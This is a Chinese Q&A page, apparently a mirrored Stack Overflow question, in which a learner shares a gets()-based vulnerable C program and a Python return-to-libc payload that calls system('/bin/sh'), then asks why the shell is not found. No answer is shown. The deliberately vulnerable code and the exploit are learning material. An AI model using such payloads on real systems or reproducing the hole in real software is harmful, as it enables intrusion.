首页 > 解决方案 > return2libc - 系统命令找不到 shell

问题描述

我是缓冲区溢出的新手,我正在尝试学习一些简单的 ret2libc。首先是可利用的代码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}

我在 gdb 中调试了我的程序并查找了系统命令地址(p system)。之后,我在堆栈上搜索 Shell env 变量并得到了这个地址:0xbfffff98: "SHELL=/bin/sh" 我将 6 添加到地址并得到 0xbfffff9e。现在我有了 /bin/sh 和系统 cmd 的地址。我用 x/s 测试了它们,它们是正确的。

这是我的小漏洞:

import struct

padding="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
system = struct.pack("I", 0xb7ecffb0)
dummy = "CCCC"
shell = struct.pack("I", 0xbfffff9e)

print padding + system + dummy + shell

填充填充缓冲区

system 是 libc 的系统命令

dummy 是系统 cmd 的返回地址(只是一个简单的错误段错误)

shell 是 /bin/sh 的地址

现在我在 main 的返回处设置一个断点并跳过一条指令,但得到一个错误: 错误

如果我理解正确,系统找不到/bin/sh,但它存在...为什么会这样?

标签: stackbufferoverflowstack-overflowbuffer-overflow

解决方案


推荐阅读